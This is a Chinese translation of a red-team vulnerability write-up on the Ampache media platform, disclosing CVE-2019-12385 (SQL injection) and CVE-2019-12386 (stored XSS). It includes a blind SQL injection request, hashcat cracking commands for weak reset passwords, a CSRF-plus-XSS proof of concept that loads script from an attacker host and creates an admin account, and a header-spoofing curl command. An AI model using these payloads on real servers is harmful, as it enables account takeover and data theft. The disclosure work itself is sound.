文章来源:tarlogic
在一次Red Team(红队)行动中,我们在Ampache上发现多个危急漏洞,Ampache是一个开源的Web音视频管理平台。此次行动,一共发现两个CVEs,分别为CVE-2019-12385 (SQL注入)和CVE-2019-12386 (储存型XSS)。
经简单审计发现,Web应用通过Dba类(ORM)与数据库进行通信,该类依赖于PHP PDO执行查询语句。Web程序中内置有许多预处理查询语句,其中大部分都是安全的,除了调用Dba::escape方法。
lib/class/dba.class.php:
134: public static function escape($var) 135: { 136: $dbh = self::dbh(); 137: if (!$dbh) { 138: debug_event('Dba', 'Wrong dbh.', 1); 139: exit; 140: } 141: $var = $dbh->quote($var); 142: // This is slightly less ugly than it was, but still ugly 143: return substr($var, 1, -1); 144: }
该函数会调用PDO::quote方法,可用于转义特殊字符并且对字符串进行quote处理(单引号包裹)。然后在底层单引号会被自动处理掉。但SQL注入并非一定要用到单引号,攻击者仍可以造成SQL注入攻击。
我找到一处调用该方法的地方,可以验证漏洞。
lib/class/search.class.php:
1461: case 'last_play': 1462: $userid= $GLOBALS['user']->id; 1463: $where[]="`object_count`.`date` IS NOT NULL AND `object_count`.`date` $sql_match_operator (UNIX_TIMESTAMP() - ($input * 86400))"; 1464: $join['object_count'] = true; 1465: break;
$input
变量基本上可以视为:
现在攻击者可以尝试注入SQL语句(要避免引号或特殊字符)。
构造有效载荷,页面停滞5秒钟,可以确认漏洞:
POST /search.php?type=song X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept-Encoding: gzip, deflate Accept-Language: es-ES,es;q=0.9,en;q=0.8,pt;q=0.7 Cookie: ampache=[session_id] Connection: close limit=0&operator=or&rule_1=last_play&rule_1_operator=1&rule_1_input=1))union+select+1+from+dual+where+sleep(5)--&action=search
搜索页面存在漏洞,所以任意用户或访客都可以造成SQL攻击,窃取数据库中的管理员session。下面我还会介绍如何利用漏洞添加管理员用户。
关于这应用的密钥生成,主要有两个问题。
lib/class/user.class.php:
990: public function update_password($new_password) 991: { 992: $new_password = hash('sha256', $new_password); 993: $new_password = Dba::escape($new_password); 994: $sql = "UPDATE `user` SET `password` = ? WHERE `id` = ?"; 995: $db_results = Dba::write($sql, array($new_password, $this->id)); 996: // Clear this (temp fix) 997: if ($db_results) { 998: unset($_SESSION['userdata']['password']); 990: } 1000: }
应用对密码做sha256加密处理,但是不加盐。
下面这个方法用来生成伪随机码。
lib/general.lib.php47:
47: function generate_password($length) 48: { 49: $vowels = 'aAeEuUyY12345'; 50: $consonants = 'bBdDgGhHjJmMnNpPqQrRsStTvVwWxXzZ6789'; 51: $password = ''; 52: $alt = time() % 2; 53: for ($i = 0; $i < $length; $i++) { 54: if ($alt == 1) { 55: $password .= $consonants[(rand(0, strlen($consonants) - 1))]; 56: $alt = 0; 57: } else { 58: $password .= $vowels[(rand(0, strlen($vowels) - 1))]; 59: $alt = 1; 60: } 61: } 62: return $password; 63: }
从代码可以看到,该方法用到了两个短字符集(13个"vowels(元音)"或36个"consonants(辅音)"),通过不断在其中选择字符来生成密码。不妙的是:生成时间戳已知,所以我们可推断出字符集的顺序(因为time函数)。
此外,通过lostpassword.php,我们可以发现此方法生成的密码长度只有6个字符。
lostpassword.php
54: if ($client && $client->email == $email) { 55: $newpassword = generate_password(6); 56: $client->update_password($newpassword);
我们可以把这两个问题与SQL注入相结合,很快就可以拿下管理员账户:
使用hashcat命令,可以在几秒钟内破解出密钥:
.\hashcat64.exe -m 1400 -w 4 -a 3 ampache_hash_list.txt -1 aAeEuUyY12345 -2 bBdDgGhHjJmMnNpPqQrRsStTvVwWxXzZ6789 ?1?2?1?2?1?2 --outfile=ampache_result.txt -O
.\hashcat64.exe -m 1400 -w 4 -a 3 ampache_hash_list.txt -2 aAeEuUyY12345 -1 bBdDgGhHjJmMnNpPqQrRsStTvVwWxXzZ6789 ?1?2?1?2?1?2 --outfile=ampache_result.txt -O
localplay.php用于实例化对象,存在两个漏洞:CSRF和储存型XSS。利用这两个漏洞打一套组合拳,可以拿到管理员权限。
Web应用在渲染"name"字段时,HTML中的特殊字符没有被正确转义。通过这点,攻击者插入恶意字符,可以盗用用户会话来执行某些操作。
通过一个简单的有效载荷来确认漏洞:
<script>alert(1)</script>
另一方面,此应用没有token保护,易受CSRF攻击。所以攻击者可以组合这两个漏洞,盗用管理员账户。这要求一定的交互,攻击者需要通过社工手段使管理员访问存在恶意代码的链接:
poc
Index.html:
<html> <body> <form action="https://[AMPACHE]/localplay.php?action=add_instance" method="POST"> <input type="hidden" name="name" value="<script src=https://[ATTACKER]/pwn.js></script>" /> <input type="hidden" name="host" value="foobar" /> <input type="hidden" name="port" value="6666" /> <input type="hidden" name="host" value="foobar" /> <input type="hidden" name="port" value="9999" /> <input type="hidden" name="password" value="foobar" /> <input type="submit" value="Pwn!" /> <!-- Replace this with autosubmit stuff --> </form> </body>
pwn.js:
function pwned() { var ifr = document.getElementById("pwn"); var target = ifr.contentDocument.getElementsByTagName("form")[2]; target.username.value = "NewAdmin"; target.email.value = "[email protected]"; target.password_1.value = "admin"; target.password_2.value = "admin"; target.access.value = "100"; target.submit(); } var iframe = document.createElement('iframe'); iframe.setAttribute("src", "https://[AMPACHE]/admin/users.php?action=show_add_user"); iframe.setAttribute("id", "pwn"); document.body.appendChild(iframe); setTimeout(pwned, 3000);
诱使管理员访问index页面后,浏览器会自动发送一个表单,创建一个带有XSS有效载荷实例。同时,有效载荷还将执行pwn.js中的JS代码,然后将在后台创建一个新的管理员账户。
另一个漏洞位于重置密码处:
lostpassword.php
34: $email = scrub_in($_POST['email']); 35: $current_ip =(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) ? $_SERVER['HTTP_X_FORWARDED_FOR'] :$_SERVER['REMOTE_ADDR']; 36: $result = send_newpassword($email, $current_ip); //... $message = sprintf(T_("A user from %s has requested a password reset for '%s'."), $current_ip, $client->username);
攻击者可以在发送email时直接设置X-Forwarded-For标头,所以通过简单的钓鱼就可以重置用户密码:
curl https://[AMPACHE]/lostpassword.php --data "[email protected]&action=send" --header "X-Forwarded-For: WE CAN MANIPULATE THIS TO LURE YOU"
攻击者的邮箱将会收到:
A user from WE CAN MANIPULATE THIS TO LURE YOU has requested a password reset for 'XXXX'.
The password has been set to:: jEX3WE